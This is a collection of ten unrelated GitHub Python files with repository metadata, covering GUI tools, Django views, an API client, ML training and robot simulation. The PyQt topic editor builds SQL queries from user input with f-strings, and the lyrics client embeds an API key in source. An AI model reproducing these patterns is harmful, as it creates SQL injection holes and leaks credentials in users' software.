+{"seq_id":"38768899022","text":"import tkinter as tk\r\nimport pandas as pd\r\nfrom bs4 import BeautifulSoup\r\n\r\n# Función para leer el archivo HTML y extraer los datos\r\ndef leer_html(file_path):\r\n    with open(file_path, 'r', encoding='utf-8') as f:\r\n        soup = BeautifulSoup(f, 'html.parser')\r\n        tabla = soup.find('table')\r\n        filas = tabla.tbody.find_all('tr')\r\n        datos = []\r\n        for fila in filas:\r\n            celdas = fila.find_all('td')\r\n            datos.append([celda.text.strip() for celda in celdas])\r\n        return pd.DataFrame(datos, columns=['Tema de la etapa', 'Duración de la etapa', 'Objetivo de la etapa', 'Paso a paso de la etapa'])\r\n\r\n# Función para mostrar la ventana de alerta\r\ndef mostrar_alerta(etapa):\r\n    ventana = tk.Toplevel()\r\n    ventana.title('Alerta')\r\n    mensaje = tk.Label(ventana, text=f'¡Atención! Es hora de la etapa \"{etapa}\"')\r\n    mensaje.pack()\r\n    boton_ok = tk.Button(ventana, text='OK', command=ventana.destroy)\r\n    boton_ok.pack()\r\n\r\n# Función principal para procesar los datos y mostrar las alertas\r\ndef procesar_cronograma(file_path):\r\n    # Leer el archivo HTML y extraer los datos\r\n    df = leer_html(file_path)\r\n\r\n    # Crear la ventana principal\r\n    root = tk.Tk()\r\n    root.title('Cronograma de la Clase')\r\n\r\n    # Crear el widget de tabla con los datos\r\n    tabla = tk.Label(root, text=df.to_string(index=False), justify='left')\r\n    tabla.pack()\r\n\r\n    # Configurar las alertas para cada etapa\r\n    for i, fila in df.iterrows():\r\n        duracion = int(fila['Duración de la etapa'].split()[0])\r\n        etapa = fila['Tema de la etapa']\r\n        root.after(duracion*1000*60, mostrar_alerta, etapa)\r\n\r\n    # Mostrar la ventana principal\r\n    root.mainloop()\r\n\r\n# Ejemplo de uso\r\nprocesar_cronograma('./Roblox_M1L2_tabla.html')\r\n","repo_name":"Lorenzpulgar/bot_teaching","sub_path":"cronograma_bot.py","file_name":"cronograma_bot.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9444585112","text":"from django.core.exceptions import ObjectDoesNotExist\r\nfrom django.http import JsonResponse\r\nimport json\r\nimport requests\r\nfrom rest_framework import status, viewsets\r\nfrom rest_framework.decorators import api_view\r\nfrom urllib.parse import urlparse\r\nfrom . import response\r\nfrom .serializers import LinkSerializer\r\nfrom .models import Link\r\nfrom .random_generator import RandomGenerator\r\n\r\nCODE_LENGTH = 6\r\n\r\nclass LinkViewSet(viewsets.ModelViewSet):\r\n    queryset = Link.objects.all()\r\n    serializer_class = LinkSerializer\r\n\r\ndef code_exists(code):\r\n    links = Link.objects.filter(code=code)\r\n    return links.exists()\r\n\r\ndef generate_code(length):\r\n    code = RandomGenerator.generate_string(length)\r\n    while code_exists(code):\r\n        code = RandomGenerator.generate_string(length)\r\n    return code\r\n\r\ndef check_site(url):\r\n    parse = urlparse(url)\r\n    if not parse.scheme or not parse.netloc:\r\n        return False\r\n    r = requests.get(url)\r\n    return r.status_code == 200\r\n\r\ndef check_code(code):\r\n    for c in code:\r\n        upper = ord('A') <= ord(c) <= ord('Z')\r\n        lower = ord('a') <= ord(c) <= ord('z')\r\n        digit = ord('0') <= ord(c) <= ord('9')\r\n        hyphen = c == '-'\r\n        if not (upper or lower or digit or hyphen):\r\n            return False\r\n    return True\r\n\r\n@api_view(['GET'])\r\ndef read_link(request):\r\n    payload = json.loads(request.body)\r\n    try:\r\n        code = payload['code']\r\n        link = Link.objects.get(code=code)\r\n        serializer = LinkSerializer(link)\r\n        return response.ok(serializer.data)\r\n    except ObjectDoesNotExist as err:\r\n        return response.code_not_found(payload['code'])\r\n    except Exception:\r\n        return response.something_wrong()\r\n\r\n@api_view(['POST'])\r\ndef create_link(request):\r\n    payload = json.loads(request.body)\r\n    try:\r\n        code = payload['code']\r\n        if code == None:\r\n            code = generate_code(CODE_LENGTH)\r\n        url = payload['url']\r\n        if not check_code(code):\r\n            return response.incorrect_code(code)\r\n        if code_exists(code):\r\n            return response.code_exists(code)\r\n        if not check_site(url):\r\n            return response.incorrect_url(url)\r\n        link = Link.objects.create(code=code, url=url)\r\n        serializer = LinkSerializer(link)\r\n        return response.ok(serializer.data)\r\n    except Exception:\r\n        return response.something_wrong()\r\n","repo_name":"redotter84/beautify-links","sub_path":"btfapi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17386403838","text":"import requests\nimport json\n\nMUSIXMATCH_API_URL = \"http://api.musixmatch.com/ws/1.1/\"\nMUSIXMATCH_API_KEY = \"04c02296b664ee7966ac93a8203f41a7\"\n\n\ndef make_musixmatch_request(method, payload):\n    '''\n    Send GET request to MusixMatch API using request method and payload.\n    Returns message body.\n    '''\n\n    payload.update({'apikey': MUSIXMATCH_API_KEY})\n\n    url = \"{}{}\".format(MUSIXMATCH_API_URL, method)\n    r = requests.get(url, params=payload)\n    response = r.json()\n    body = response['message']['body']\n    return body\n\n\ndef get_artist_id(artist_name):\n    '''\n    Find artist by name and return artist_id of first result.\n    '''\n\n    payload = {\n        'q_artist': artist_name\n    }\n    body = make_musixmatch_request('artist.search', payload)\n    artist = body['artist_list'][0]['artist']\n    return artist['artist_id']\n\n\ndef get_albums(artist_id):\n    '''\n    Get list of albums by artist_id.\n    '''\n\n    payload = {\n        'artist_id': artist_id,\n        'page_size': 100\n    }\n\n    body = make_musixmatch_request('artist.albums.get', payload)\n    albums = body['album_list']\n    return albums\n\n\ndef get_tracks(album_id):\n    '''\n    Get tracks by album\n    '''\n\n    payload = {\n        'album_id': album_id\n    }\n\n    body = make_musixmatch_request('album.tracks.get', payload)\n    tracks = body['track_list']\n    return tracks\n\n\ndef get_lyrics(track_id):\n    '''\n    Get lyrics for single track\n    '''\n\n    payload = {\n        'track_id': track_id\n    }\n\n    body = make_musixmatch_request('track.lyrics.get', payload)\n\n    if len(body) < 1:\n        return \"\"\n    elif body.get('lyrics') and body['lyrics'].get('lyrics_body'):\n        lyrics = body['lyrics']['lyrics_body']\n    else:\n        lyrics = \"\"\n\n    return lyrics\n\n","repo_name":"craigpalermo/lyrics-analysis","sub_path":"lyrics.py","file_name":"lyrics.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"31521829282","text":"import os\nimport matplotlib.pyplot as plt\n\ndef plot_histogram(total_occurences, fname):\n    print(total_occurences)\n    plt.hist(total_occurences)\n    plt.xlabel('Occurences in training')\n    plt.ylabel('Count')\n    #plt.title('Histogram of IQ')\n    #plt.xlim(0, 12)\n    #plt.ylim(0, 300)\n    plt.grid(True)\n    #plt.show()\n    plt.savefig(f\"../diagrams/duplication/{fname}.png\")\n\nfpath = f\"../data_text/test\"\nfnames = os.listdir(fpath)\nunimeasure_occurence = {}\nfor fname in fnames:\n    with open(os.path.join(fpath, fname)) as f:\n        lines = f.readlines()\n        measures = [''.join(lines[i:i+16]) for i in range(0,len(lines),16)]\n        for measure in measures:\n            if measure in unimeasure_occurence:\n                unimeasure_occurence[measure] += 1\n            else:\n                unimeasure_occurence[measure] = 1\n\n#print(unimeasure_occurence)\nall_occurences = []\nfor model in [\"human\", \"davinci\", \"ada\"]:\n    if model == \"human\":\n        fpath = f\"../data_text/test\"\n    else:\n        fpath = f\"../output_text_{model}/test\"\n    fnames = os.listdir(fpath)\n    total_occurences = []\n    for fname in fnames:\n        #print(fname)\n        #raise SystemExit()\n        with open(os.path.join(fpath, fname)) as f:\n            lines = f.readlines()\n            measures = [''.join(lines[i:i+16]) for i in range(0,len(lines),16) if ''.join(lines[i:i+16]).replace('-', '').replace('\\n', '')]\n            #if not measures.replace('-', '').replace('\\n', ''):\n            #    continue\n            for measure in measures:\n                occurences = unimeasure_occurence.get(measure, 0)\n                total_occurences.append(occurences)\n    #print(total_occurences)\n    #plot_histogram(total_occurences, model)\n    all_occurences.append(total_occurences)\n\nplt.figure(figsize=(6, 2))\nplt.hist(all_occurences, label=[\"human\", \"davinci\", \"ada\"])\nplt.xlabel('Occurences in training')\nplt.ylabel('Count')\nplt.yticks([0, 100, 200, 300, 400])\n#plt.title('Histogram of IQ')\n#plt.xlim(0, 12)\n#plt.ylim(0, 300)\n#plt.grid(True)\n#plt.show()\nplt.legend(loc='best')\nplt.savefig(f\"../diagrams/duplication/duplication.png\")","repo_name":"zharry29/drums-with-llm","sub_path":"source/duplication_analysis.py","file_name":"duplication_analysis.py","file_ext":"py","file_size_in_byte":2124,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"22"}
+{"seq_id":"4041364860","text":"class Point:\n#     def __init__(self): # bez definiowania x i y przyjmuje 0, 0\n#         self.x = 0\n#         self.y = 0\n\n# p1 =Point()\n# print(p1.x, p1.y) \n    # zbior wszystkich punktów mogłby byc atrybutem calej klasy\n    # \n    # atrybuty instancji\n    points_counter = 0\n\n\n    def __init__(self, x=0, y=0):  # x=0, jesli nie podano, przyjmuje domyslnie wartosc 0\n        self.x = x\n        self.y = y\n        Point.points_counter += 1\n\n    def move_to_now_coords(self, x=0, y=0):\n        self.x = x\n        self.y = y\n    # w klasie tworzymy metody do obiektow\n            \np1 = Point(3, 4)\nprint(p1.x, p1.y)\np1.x = 7\np1.y = 17\nprint(p1.x, p1.y)\np1.move_to_now_coords(12,4)\nprint(p1.x, p1.y)\n\np2 = Point(1, 5)\n\n# klasy a instancje\np1.points_counter = 12 # uzyty na rzecz instancji klasy\nPoint.points_counter = 2 #uzyty na rzecz klasy\nprint(p1.points_counter)\nprint(Point.points_counter)\n\nprint(Point.points_counter, \"Point counter\")\nprint(p2.points_counter) # Wszystkie punkty dziedziczą instancje point counter","repo_name":"danor1122/Project2","sub_path":"strefaKursow/initt.py","file_name":"initt.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3264229235","text":"import matplotlib\nmatplotlib.use('Agg')\n\nimport numpy as np\nimport random\nimport tensorflow as tf\nimport tensorflow.keras.layers as layers\nimport tensorflow_datasets as tfds\nimport sys\nimport os\n\nimport params\nimport generators\nfrom utils import Symbols\nimport paper\nimport display\n\nfrom attn_augconv import AttentionAugmentation2D, augmented_conv2d\n\nargs = params.getArgs()\nprint(args)\n\n# set random seed\n#np.random.seed(10)\n\ntf.compat.v1.enable_eager_execution()\n\nGRID_SIZE = 40\n\ndataset_prefix = os.path.join(args.dataset_path, args.dataset)\n\nxy_train =  generators.sup_dataset_from_tfrecords([dataset_prefix+'.train.tfrecords'])\nxy_val   =  generators.sup_dataset_from_tfrecords([dataset_prefix+'.interpolate.tfrecords'])\nxy_test  =  generators.sup_dataset_from_tfrecords([dataset_prefix+'.extrapolate.tfrecords'])\n\n\n# Instantiate a simple classification model\ninp = tf.keras.layers.Input(shape=(GRID_SIZE, GRID_SIZE, Symbols.NUM_SYMBOLS))\n\nout = layers.Conv2D(64, (3,3), padding='same', activation=tf.nn.relu)(inp)\n\nout = augmented_conv2d(out, filters=200, kernel_size=(3, 3),\n                         depth_k=0.2, depth_v=0.2,  # dk/v (0.2) * f_out (20) = 4\n                         num_heads=4, relative_encodings=True)\nout = layers.Activation('relu')(out)\n\nout = layers.Conv2D(68, (3,3), padding='same', activation=tf.nn.relu)(out)\nout = layers.BatchNormalization()(out)\n\nout = augmented_conv2d(out, filters=200, kernel_size=(3, 3),\n                         depth_k=0.2, depth_v=0.2,  # dk/v (0.2) * f_out (20) = 4\n                         num_heads=4, relative_encodings=True)\nout = layers.Activation('relu')(out)\n\n\nout = augmented_conv2d(out, filters=200, kernel_size=(3, 3),\n                         depth_k=0.2, depth_v=0.2,  # dk/v (0.2) * f_out (20) = 4\n                         num_heads=4, relative_encodings=True)\nout = layers.Activation('relu')(out)\n\n#out = layers.BatchNormalization()(out)\n\n#out = layers.Conv2D(256, (5,5), padding='same', activation=tf.nn.relu)(out)\n#out = layers.Conv2D(2 * depth_k + depth_v, (5,5), padding='same', activation=tf.nn.relu)(out)\n#out = AttentionAugmentation2D(depth_k, depth_v, num_heads)(out)\n\n\n#out = layers.Conv2D(256, (3,3), padding='same', activation=tf.nn.relu)(out)\n#out = layers.Conv2D(256, (3,3), padding='same', activation=tf.nn.relu)(out)\n#out = layers.Conv2D(256, (3,3), padding='same', activation=tf.nn.relu)(out)\nout = layers.Conv2D(Symbols.NUM_SYMBOLS, (3,3), padding='same')(out)\n\nmodel = tf.keras.Model(inputs=inp, outputs=out)\n\n# Instantiate a logistic loss function that expects integer targets.\n\n\"\"\"\neps = 1e-8\ndef my_loss(y_true, y_pred):\n    ans = -(y_true*tf.log(y_pred + eps) + (1-y_true)*tf.log(y_pred + eps))\n    return ans\ndef xxmy_loss(y_true, y_pred):\n    #ans =  tf.square(y_true-y_pred) * tf.boolean_mask(y_true, tf.equal(y_true, 0)) * 0.0001 \n    #ans += tf.square(y_true-y_pred) * tf.boolean_mask(y_true, tf.not_equal(y_true, 0)) * 0.0001 \n    ans =  tf.square(tf.softmax(y_true-y_pred) * (y_true != 0) * 1.0 \n    ans += tf.square(y_true-y_pred) * (y_true == 0) * 0.00000     \n    return ans\n\"\"\"    \n\nbg_weight = tf.Variable(0.0)\ncc_loss = tf.keras.losses.CategoricalCrossentropy(from_logits=True, label_smoothing=0.0)\n\ndef weighted_loss(y_true, y_pred):\n    weights = tf.ones([args.batch_size, GRID_SIZE, GRID_SIZE]) * bg_weight + tf.clip_by_value(tf.reduce_sum(y_true, axis=-1), 0.0, 1.0)\n    return cc_loss(y_true, y_pred, weights)\n    #a = tf.nn.softmax_cross_entropy_with_logits_v2(labels=y_true, logits=y_pred, axis=-1)\n    #return tf.reduce_sum(a * weights)\n\n\n# Instantiate an accuracy metric.\naccuracy = tf.keras.metrics.CategoricalAccuracy()\n\n# Instantiate an optimizer.\noptimizer = tf.keras.optimizers.Adam()\n\nmodel.compile(optimizer=optimizer,\n              loss=weighted_loss,\n              metrics=[accuracy])\n\n\nclass FocusCallback(tf.keras.callbacks.Callback):\n  def on_epoch_begin(self, epoch, logs=None):\n    if epoch > 1:\n       bg_weight.assign(0.01)\n       print(\"bg weight: {}\".format(bg_weight.read_value()))\n\n# Instantiate some callbacks\ncallbacks = []\nif args.model_path is not None:\n    callbacks.append(tf.keras.callbacks.ModelCheckpoint(filepath=os.path.join(args.model_path, args.model_name), save_best_only=True))\ncallbacks.append(FocusCallback())\n\ndef preprocess(ds):\n    ds = ds.batch(args.batch_size, drop_remainder=True).prefetch(100)\n    ds = ds.shuffle(10000)\n    ds = ds.map(lambda x, y: (tf.one_hot(x, Symbols.NUM_SYMBOLS, axis=-1), tf.one_hot(y, Symbols.NUM_SYMBOLS, axis=-1)))\n    return ds\n\ndef preprocess_test(ds):\n    ds = ds.shuffle(10000)\n    ds = ds.map(lambda x, y: tf.one_hot(x, Symbols.NUM_SYMBOLS, axis=-1))\n    return ds\n\ntrain_dataset = preprocess(xy_train).repeat()\nval_dataset = preprocess(xy_val).repeat()\ntest_dataset = preprocess_test(xy_val)\n\nvalidation_steps = 100\nsteps_per_epoch = 1000\nepochs = args.train_iters // steps_per_epoch\n\nmodel.fit(train_dataset,\n          validation_data=val_dataset,\n          validation_steps=100,\n          epochs=epochs,\n          steps_per_epoch=steps_per_epoch,\n          callbacks=callbacks)\n\nif args.model_path is not None:\n    model.save(os.path.join(args.model_path, args.model_name))\n\nnp.set_printoptions(threshold=sys.maxsize)\n\nx_test = [e.numpy() for e in test_dataset.take(100)]\nx_test = np.array(x_test)\n\npreds = model.predict(x_test)\n\nfor i in range(10):\n    paper_x = np.argmax(x_test[i], axis=-1)\n    paper_pred = np.argmax(preds[i], axis=-1)\n    step1 = paper.Step(paper=paper_x, attention=None)\n    step1.paper = paper_x\n    step2 = paper.Step(paper=paper_pred, attention=None)\n    step2.paper = paper_pred\n    display.plot_steps([step1, step2], title=str(i))\n\n\n\n\"\"\"\npreds = model.predict(test_large_dataset)\n\nfor i in range(10):\n    print(x_test_large[i])\n    print(np.argmax(preds[i], axis=-1))\n\"\"\"","repo_name":"csadrian/arithmetics_on_paper","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5793,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"73302379896","text":"import PyQt5.QtWidgets as qt\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5 import uic\nimport sqlite3\n\n\nclass Window(qt.QMainWindow):\n    back = True\n\n    def __init__(self, superClass, databasePath, fillComboBoxes):\n        \"\"\" Main Window \"\"\"\n        super(Window, self).__init__()\n        uic.loadUi(\"gui/editTopics.ui\", self)\n        self.setWindowIcon(QIcon(\"images/logo.png\"))\n        self.superClass = superClass\n        self.databasePath = databasePath\n        self.fillComboBoxes = fillComboBoxes\n\n        # Get widgets\n        self.topicNameEdit = self.findChild(qt.QLineEdit, \"topicNameEdit\")\n        self.addTopicBtn = self.findChild(qt.QPushButton, \"addTopicBtn\")\n        self.topicListWidget = self.findChild(qt.QListWidget, \"topicListWidget\")\n        self.backBtn = self.findChild(qt.QPushButton, \"backBtn\")\n\n        # Add topics\n        self.getTopics()\n\n        # Bind widgets\n        self.backBtn.clicked.connect(self.close)\n        self.topicListWidget.clicked.connect(self.modifyTopic)\n        self.topicNameEdit.textChanged.connect(self.validateTopic)\n        self.addTopicBtn.clicked.connect(self.addTopic)\n\n\n    def closeEvent(self, event):\n        \"\"\" Run when window gets closed \"\"\"\n        if self.back:\n            self.superClass.show()\n        self.fillComboBoxes()\n\n    def getTopics(self):\n        \"\"\" Get topics from database \"\"\"\n        conn = sqlite3.connect(self.databasePath)\n        c = conn.cursor()\n        c.execute(\"SELECT topicName FROM topics\")\n        self.topicList = [topic[0] for topic in c.fetchall()]\n        conn.close()\n\n        self.topicListWidget.clear()\n        for topic in self.topicList:\n            self.topicListWidget.addItem(topic)\n\n    def modifyTopic(self):\n        \"\"\" Opens widget to modify topic \"\"\"\n        self.back = False\n        self.topicName = self.topicListWidget.currentItem().text()\n        self.w = Widget(self, self.topicName, self.changeTopicName, self.databasePath, self.allowBack, self.removeTopic)\n        self.w.show()\n        self.close()\n\n    def allowBack(self, val):\n        \"\"\" Change value of back \"\"\"\n        self.back = val\n\n    def changeTopicName(self, newName):\n        \"\"\" Updates database with new values of topic name \"\"\"\n        conn = sqlite3.connect(self.databasePath)\n        c = conn.cursor()\n        c.execute(f\"UPDATE topics SET topicName = '{newName}' WHERE topicName = '{self.topicName}'\")\n        conn.commit()\n        conn.close()\n        self.getTopics()\n\n    def removeTopic(self):\n        \"\"\" Removes topic from database \"\"\"\n        conn = sqlite3.connect(self.databasePath)\n        c = conn.cursor()\n        c.execute(f\"DELETE from topics WHERE topicName = '{self.topicName}'\")\n        conn.commit()\n        conn.close()\n        self.getTopics()\n\n    def validateTopic(self):\n        \"\"\" Checks whether topic name is valid \"\"\"\n        name = self.topicNameEdit.text().lower().strip()\n        if name and name not in [topic.lower() for topic in self.topicList]:\n            self.addTopicBtn.setEnabled(True)\n        else:\n            self.addTopicBtn.setEnabled(False)\n\n    def addTopic(self):\n        \"\"\" Adds topic to topic widget\"\"\"\n        name = self.topicNameEdit.text()\n        self.topicListWidget.addItem(name)\n        self.topicList.append(name)\n        self.topicNameEdit.clear()\n\n        # Add topic to database\n        conn = sqlite3.connect(self.databasePath)\n        c = conn.cursor()\n        c.execute(\"SELECT topicID FROM topics ORDER BY topicID DESC\")\n        i = c.fetchone()\n        if i:\n            i = i[0] + 1\n        else:\n            i = 1\n        c.execute(f\"INSERT INTO topics (topicID, topicName) VALUES ({i}, '{name}')\")\n        conn.commit()\n        conn.close()  # Closes connection\n\n\nclass Widget(qt.QWidget):\n\n    def __init__(self, superClass, topicName, changeTopicName, databasePath, allowBack, removeTopic):\n        \"\"\" Main Window \"\"\"\n        super(Widget, self).__init__()\n        uic.loadUi(\"gui/modifyTopic.ui\", self)\n        self.setWindowIcon(QIcon(\"images/logo.png\"))\n        self.superClass = superClass\n        self.topicName = topicName\n        self.changeTopicName = changeTopicName\n        self.databasePath = databasePath\n        self.allowBack = allowBack\n        self.removeTopic = removeTopic\n\n        # Get widgets\n        self.topicEdit = self.findChild(qt.QLineEdit, \"topicEdit\")\n        self.confirmBtn = self.findChild(qt.QPushButton, \"confirmBtn\")\n        self.deleteBtn = self.findChild(qt.QPushButton, \"deleteBtn\")\n\n        self.topicEdit.setText(topicName)\n        self.topicEdit.textChanged.connect(self.validateTopicName)\n        self.confirmBtn.clicked.connect(self.updateTopicName)\n        self.deleteBtn.clicked.connect(self.deleteTopic)\n\n        self.getTopicList()\n\n\n    def closeEvent(self, event):\n        \"\"\" Run when window gets closed \"\"\"\n        self.allowBack(True)\n        self.superClass.show()\n\n    def getTopicList(self):\n        \"\"\" Gets list of topics \"\"\"\n        conn = sqlite3.connect(self.databasePath)\n        c = conn.cursor()\n        c.execute(\"SELECT topicName FROM topics\")\n        self.topicList = [topic[0].lower() for topic in c.fetchall()]\n        conn.close()\n\n    def validateTopicName(self):\n        \"\"\" Allows confirm button if topic name is valid \"\"\"\n        name = self.topicEdit.text().strip().lower()\n        self.confirmBtn.setEnabled(bool(name) and name not in self.topicList)\n\n    def updateTopicName(self):\n        \"\"\" If line edit is changed, then update database \"\"\"\n        newName = self.topicEdit.text()\n        if newName != self.topicName:\n            self.changeTopicName(newName)\n        self.close()\n\n    def deleteTopic(self):\n        \"\"\" Confirms whether to delete topic \"\"\"\n        # Show popup message\n        msg = qt.QMessageBox()\n        msg.setWindowTitle(\"Are you Sure?\")\n        msg.setText(f\"Are you sure you want to delete '{self.topicName}' ?\")\n        msg.setIcon(qt.QMessageBox.Question)\n        msg.setStandardButtons(qt.QMessageBox.Yes | qt.QMessageBox.No)\n        msg.setDefaultButton(qt.QMessageBox.No)\n        msg.buttonClicked.connect(self.confirmDelete)\n        msg.exec_()\n\n    def confirmDelete(self, i):\n        \"\"\" Deletes topic \"\"\"\n        option = i.text()[1:]\n\n        if option == \"Yes\":\n            self.removeTopic()\n            self.close()\n\n\n","repo_name":"AlexShem247/note-and-flashcard-maker","sub_path":"modules/create/editTopics.py","file_name":"editTopics.py","file_ext":"py","file_size_in_byte":6299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26750433717","text":"from django.shortcuts import render\r\nfrom .models import Message\r\nfrom .forms import MessageForm\r\nfrom django.http import HttpResponseRedirect\r\nfrom chats.models import Chat\r\nfrom account.models import Account\r\n\r\n\r\ndef index(request, pk):\r\n    chat = Chat.objects.filter(id=pk)\r\n    messages = Message.objects.filter(where_id=pk)\r\n    if request.method == 'POST':\r\n        form = MessageForm(request.POST)\r\n        if form.is_valid():\r\n            message = form.save(commit=False)\r\n            message.where = Chat.objects.get(id=pk)\r\n            message.sender = Account.objects.get(id=request.user.id)\r\n            message.save()\r\n            return HttpResponseRedirect(request.META.get('HTTP_REFERER'))\r\n    form = MessageForm()\r\n    context = {'messages': messages, 'form': form, 'chat': chat}\r\n    return render(request, 'dialogue/dialogue.html', context)","repo_name":"wannadieintears/messanger","sub_path":"messanger/dialogue/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41955570034","text":"#!/usr/bin/env python\n\"\"\"Laikago example using the visualizer.\n\nThis is the same example as provided in [1], but translated into Python and using the `raisimpy` library (which\nis a wrapper around `raisimLib` [2] and `raisimOgre` [3]).\n\nReferences:\n    - [1] https://github.com/leggedrobotics/raisimOgre/blob/master/examples/src/robots/laikago.cpp\n    - [2] raisimLib: https://github.com/leggedrobotics/raisimLib\n    - [3] raisimOgre: https://github.com/leggedrobotics/raisimOgre\n\"\"\"\n\n__author__ = [\"Jemin Hwangbo (C++)\", \"Brian Delhaisse (Python)\"]\n__copyright__ = \"Copyright (c), 2019 Robotic Systems Lab, ETH Zurich\"\n__credits__ = [\"Robotic Systems Lab, ETH Zurich + Hwangbo (C++ example code)\",\n               \"Brian Delhaisse (Python wrapper + Python example)\"]\n__license__ = \"MIT\"\n\nimport os\nimport numpy as np\nimport raisimpy as raisim\n\n\ndef normalize(array):\n    return np.asarray(array) / np.linalg.norm(array)\n\n\ndef setup_callback():\n    vis = raisim.OgreVis.get()\n\n    # light\n    light = vis.get_light()\n    light.set_diffuse_color(1, 1, 1)\n    light.set_cast_shadows(True)\n    light.set_direction(normalize([-3., -3., -0.5]))\n    vis.set_camera_speed(300)\n\n    # load textures\n    vis.add_resource_directory(vis.get_resource_dir() + \"/material/checkerboard\")\n    vis.load_material(\"checkerboard.material\")\n\n    # shadow setting\n    manager = vis.get_scene_manager()\n    manager.set_shadow_technique(raisim.ogre.ShadowTechnique.SHADOWTYPE_TEXTURE_ADDITIVE)\n    manager.set_shadow_texture_settings(2048, 3)\n\n    # scale related settings!! Please adapt it depending on your map size\n    # beyond this distance, shadow disappears\n    manager.set_shadow_far_distance(10)\n    # size of contact points and contact forces\n    vis.set_contact_visual_object_size(0.06, 0.6)\n    # speed of camera motion in freelook mode\n    vis.get_camera_man().set_top_speed(5)\n\n\nif __name__ == '__main__':\n    # create raisim world\n    world = raisim.World()\n    world.set_time_step(0.0025)\n\n    vis = raisim.OgreVis.get()\n\n    # these methods must be called before initApp\n    vis.set_world(world)\n    vis.set_window_size(1800, 1200)\n    vis.set_default_callbacks()\n    vis.set_setup_callback(setup_callback)\n    vis.set_anti_aliasing(2)\n    vis.set_desired_fps(25)\n    raisim.gui.manual_stepping = True\n\n    # starts visualizer thread\n    vis.init_app()\n\n    # create raisim objects\n    ground = world.add_ground()\n\n    laikagos, laikago_visuals = [], []\n\n    # create visualizer objects\n    vis.create_graphical_object(ground, dimension=20, name=\"floor\", material=\"checkerboard_green\")\n\n    # Laikago joint PD controller\n    joint_nominal_config = np.zeros(19)\n    joint_velocity_target = np.zeros(18)\n    joint_state = np.zeros(18)\n    joint_force = np.zeros(18)\n    joint_p_gain = np.zeros(18)\n    joint_d_gain = np.zeros(18)\n\n    joint_p_gain[-12:] = 200.\n    joint_d_gain[-12:] = 10.\n\n    N = 8\n    laikago_urdf_path = os.path.dirname(os.path.abspath(__file__)) + \"/../rsc/laikago/laikago.urdf\"\n\n    for i in range(N):\n        for j in range(N):\n            laikagos.append(world.add_articulated_system(laikago_urdf_path))\n            laikago_visuals.append(vis.create_graphical_object(laikagos[-1], name=\"laikago\" + str(i) + \"X\" + str(j)))\n            laikagos[-1].set_generalized_coordinates([2*i, j, 0.48, 1, 0., 0., 0., 0., 0.5, -1, 0, 0.5,\n                                                      -1, 0., 0.5, -1, 0, 0.5, -0.7])\n            laikagos[-1].set_generalized_forces(np.zeros(laikagos[-1].get_dof()))\n            laikagos[-1].set_control_mode(raisim.ControlMode.PD_PLUS_FEEDFORWARD_TORQUE)\n            laikagos[-1].set_pd_gains(joint_p_gain, joint_d_gain)\n            laikagos[-1].set_name(\"laikago\" + str(j + i * N))\n\n    laikagos[-1].print_body_names_in_order()\n\n    class Controller:\n\n        def __init__(self):\n            self.control_decimation = 0\n\n        def __call__(self):\n            self.control_decimation += 1\n\n            if self.control_decimation % 2500 == 0:\n                for i in range(N):\n                    for j in range(N):\n                        laikagos[i * N + j].set_generalized_coordinates([2 * i, j, 0.48, 1, 0., 0., 0., 0., 0.5, -1,\n                                                                         0, 0.5, -1, 0., 0.5, -1, 0, 0.5, -1])\n            if self.control_decimation % 50 != 0:\n                return\n\n            # laikago joint PD controller\n            joint_nominal_config = np.array([0, 0, 0, 0, 0, 0, 0, 0.0, 0.5, -1, 0, 0.5, -1, 0.00, 0.5, -1, 0, 0.5, -1.])\n            joint_velocity_target = np.zeros(18)\n\n            for i in range(N):\n                for j in range(N):\n                    # first 6 elements are ignored\n                    joint_config = joint_nominal_config + np.random.normal(0., 0.5, [19])\n                    laikagos[i * N + j].set_pd_targets(joint_config, joint_velocity_target)\n                    print(joint_config)\n\n\n    vis.set_control_callback(Controller())\n\n    # set camera\n    vis.select(laikago_visuals[-1][0])\n    camera = vis.get_camera_man().set_yaw_pitch_dist(0., -1., 3)\n\n    # run the app\n    vis.run()\n\n    # terminate\n    vis.close_app()\n","repo_name":"robotlearn/raisimpy","sub_path":"examples/robots/laikago.py","file_name":"laikago.py","file_ext":"py","file_size_in_byte":5150,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"22"}
+{"seq_id":"39756532606","text":"# The dataclasses decorator also supports imutable classes\n# classes whose value you don't want to change\n\nfrom dataclasses import dataclass\n\n@dataclass(frozen=True)\nclass ReferencePoint:\n    x: int = 100\n    y: int = 200\n\n    def SetPoint(self, new_x, new_y):\n        self.x = new_x\n        self.y = new_y\n\np1 = ReferencePoint()\nprint(p1.x)\n\n# If we try modifying the contents of that class we get an error:\n#  File \"<string>\", line 4, in __setattr__\n# dataclasses.FrozenInstanceError: cannot assign to field 'x'\n# p1.x = 10\n\n# And even the class itself can't change its contents when\n# the attribute frozen is set to true in the dataclass decorator\n# p1.SetPoint(10, 20)\n","repo_name":"j-hmd/daily-python","sub_path":"Object-Oriented-Python/immutable_intro.py","file_name":"immutable_intro.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
